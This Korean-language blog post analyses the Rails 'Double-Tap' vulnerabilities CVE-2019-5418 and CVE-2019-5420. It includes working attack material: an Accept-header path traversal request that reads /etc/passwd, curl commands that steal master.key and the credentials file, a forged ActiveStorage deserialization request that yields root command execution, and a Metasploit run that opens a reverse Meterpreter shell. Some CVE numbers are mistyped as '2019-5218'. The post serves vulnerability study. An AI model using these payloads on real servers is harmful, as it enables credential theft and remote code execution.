Ruby on Rails Double-Tap 취약점(CVE-2019-5418, CVE-2019-5420)

간만에 취약점 리뷰해봅니다. 올 봄에 정리한번하고 최근에 추가로 정리했던거라 머리속에서 날아가기 전에 블로그 글로 남겨보아요. 우선 올 해 3월 정도에 레일즈 관련 취약점이 3개정도 올라왔었습니다. CVE-2019-5418 ~ 5420 이슈인데, 결과적으론 Rails에서 시스템 파일을 읽고, 명령 실행까지 가능한 3가지였습니다.

이 중 5418, 5420을 묶어서 Double-Tap 취약점이라고 말합니다.

Info

Rails(영향받는 버전)

<5.2.2.1, 
<5.1.6.2, 
<5.0.7.2, 
<4.2.11.1

CVE-2019-5418 : Local file disclosure CVE-2019-5419 : DOS CVE-2019-5420 : Insecure Deserialization

Precedent learning

레일즈 자체적인 기능들인데, 가볍게 알아두고 갑시다.

[ ActionView ]

레일즈에서 웹 페이지를 표현하는 방법은 여러가지가 있습니다. 일반적인 HTML 포맷, JSON, 파일 등등.. 이런 뷰에 대한 처리를 해주는 기능이 ActionView이고, 별도의 설정이 없어도 기본적으로 레일즈 동작에서 사용되는 부분입니다.

[ ActiveStorage ]

레일즈에서 S3, Azure Storage 등등 클라우드 스토리지 서비스에 파일을 업로드하고 Rails 내 Active Record에 루비 객체로 역직렬화(Deserialization)해서 사용할 수 있습니다. 여기서 파일을 객체화할 수 있다는게 중요하죠.

What is CVE 2019-5218(Local file disclosure)

위 내용중에서 ActionView 에 관련된 취약점입니다. ActiveView 컨르톨러에서 file type을 처리할 때 발생하는 문제입니다. (컨트롤러 중 render file: 로 처리하는 구간) 파일 포맷으로 Response를 생성할 때 Accpet 헤더의 값이 파일 타입을 지정해주기 위해 build_query로 들어가게 되는데 이때 문자열 검증을 정확하게 하지 않아서 특수문자 삽입으로 쿼리 구문을 우회하고 공격자가 의도한 다른 파일을 받아 올 수 있게 됩니다. 간단하게 이야기드렸지만 취약 코드까지 추적해보시면 좀 복잡하긴합니다. (바로 쿼리로 가는게 아니라 여러번 분기가 있어서 조건에 만족해야합니다..)

[ Vulnerability code ]

class VulnerabilityController < ApplicationController
  def download
    render file: "#{Rails.root}/test.txt"
  end
end

[ Attack Reqeust/Response ]

[ Request ]
GET /Vulnerabilities HTTP/1.1
Host: 127.0.0.1
Accept: ../../../../../../../../../../etc/passwd{{

[ Response ]
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false

[ Build Query ]

[ Nomal ]
test.txt{.{en},}{.{application/json},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}
=> test.txt

[ Attack ]
test.txt{.{en},}{.{../../../../../../../../../../etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}
=> /etc/passwd

What is CVE-2019-5420(Insecure Deserialization)

아까 위에서의 ActiveStorage 설명에 잘 보시면 Deserialization 부분이 있다고 했습니다. 파일을 읽어서 객체로 변환하는데 이 과정에서 보안 로직에 대해 우회된 케이스입니다. (정확히 우회라 하기엔 조금 어렵긴하네요)

먼저 알아야할 부분이 있는데 레일즈의 ActiveStorage는 Insecure Deserialization를 막기위해 객체에 대해서 서명하고 검증하는 과정이 있습니다. 보편적인 Deserialization 대응방안인데요, 이 과정을 위해 서버에 암호화된 크리덴셜을 두고 이를 이용하여 객체를 서명하고 Deserialize 하는 형태로 동작합니다.

결국은 서명을 위조할 수 있다면 비정상적인 파일을 Deserialize 시킬 수 있게 되는데요. 여기서 우선 먼저 발생한 문제는 Developements 환경에서의 키 값입니다. master.key 파일로 크리덴셜을 암호화해서 이를 사용하는데, Developements 환경에서는 프로젝트나 각 레일즈가 설치된 피씨별로 다른 키를 사용하지 않습니다. 결국은 공격자와 피해 서비스들의 개발 환경은 모두 동일한 키를 사용하는게 되기 떄문에 공격자가 쉽게 서명을 위조할 수 있어 Insecure Deserialization이 가능해집니다.

프로덕션의 경우는 모두 다른 키를 쓰기 떄문에 중복 키 이슈로 공격은 불가능합니다. 다만 위에서 이야기드렸던 CVE 2019-5218 취약점을 같이 활용한다면 서버 내 master.key 파일을 읽을 수 있고 이를 통해 공격자가 임의로 만들 파일에 정상적인 서명으로 위조하여 검증 로직을 우회할 수 있게 됩니다. 개발 환경과 동일하게 결과적으론 Insecure Deserialize 됩니다.

Vulnerability Code Developments

# 패치 내용인데, 위에 보면 development의 경우 클래스 이름으로 md5를 만드는걸 알 수 있습니다.
# 당연히 공통으로 쓰이는 코어 클래스이기 때문에 동일한 해시를 가지게 됩니다.

-      if Rails.env.test? || Rails.env.development?
-        secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name)
+      if Rails.env.development? || Rails.env.test?
+        secrets.secret_key_base ||= generate_development_secret

Attack Request/Response Production

[ Get Crentials with CVE 2019-5218 ]

curl \
 -H 'Accept: ../../../../../../*/*/root/*/*/root/*/*/root/*/config/credentials.yml.enc{{' \
 target_site & curl \
 -H 'Accept: ../../../../../../*/*/root/*/*/root/*/*/root/*/config/master.key{{' \
 target_site

[ Insecure Object Deserialize with signature forgery ]

[ Attack Request ]
PUT /rails/active_storage/disk/eyJfcm.... { is Bsse64 encoded rce object jso}/filename
Host: 127.0.0.1

[ Response ]
uid=0(root) gid=0(wheel) groups=0(wheel)

최종적인 공격 플로우는 이렇습니다.

1) CVE-2019-5418로 credentials.yml.enc과 master.key 탈취
2) master.key를 이용해서 credentials.yml.enc를 복호화하고 secret_key_base 값을 추출
3) ActiveStorage애서 PUT /rails/active_storage/disk/:encoded_key/*filename 형태로 Deserialize 하여 사용하는데,
   공격자가 키를 알고 있어 해당 과정의 유효성 검사(정상 객체인지)를 통과할 수 있음
4) 악의적인 객체가 Marshal.load()를 통해 Deserialize되면서 코드가 실행됨

Exploit DoubleTap (with Metasploit)

공격코드가 공개되고 바로 Metasploit 모듈로도 공개됬습니다. doubletap 으로 검색하시면 2개 나옵니다.

HAHWUL exploit(multi/http/rails_double_tap) > search doubletap

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  auxiliary/gather/rails_doubletap_file_read                   normal     Yes    Ruby On Rails File Content Disclosure ('doubletap')
   1  exploit/multi/http/rails_double_tap         2019-03-13       excellent  Yes    Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability

rails_double_tap이 위에 file disclosure를 포함하기 떄문에… 아래꺼만 우선 보셔도 될듯합니다.

HAHWUL > use exploit/multi/http/rails_double_tap
HAHWUL exploit(multi/http/rails_double_tap) > show options

Module options (exploit/multi/http/rails_double_tap):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      3000             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The route for the Rails application
   VHOST                       no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Ruby on Rails 5.2 and prior

특별히 설정히 복잡한건 없습니다.

HAHWUL exploit(multi/http/rails_double_tap) > run
[*] Exploiting target 127.0.0.1

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Attempting to retrieve the application name...
[+] The application name is: blahblah~~
...
[+] Stager ready: ~~~ bytes
...
[+] Sending serialized payload to target ~~~ bytes)
...
[*] Meterpreter session 3 opened (192.168.0.11:4444 -> 192.168.0.15:48712) at 2019-06-23 00:45:19 +0900

References

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_double_tap.rb https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization https://github.com/mpgn/Rails-doubletap-RCE https://hackerone.com/reports/473888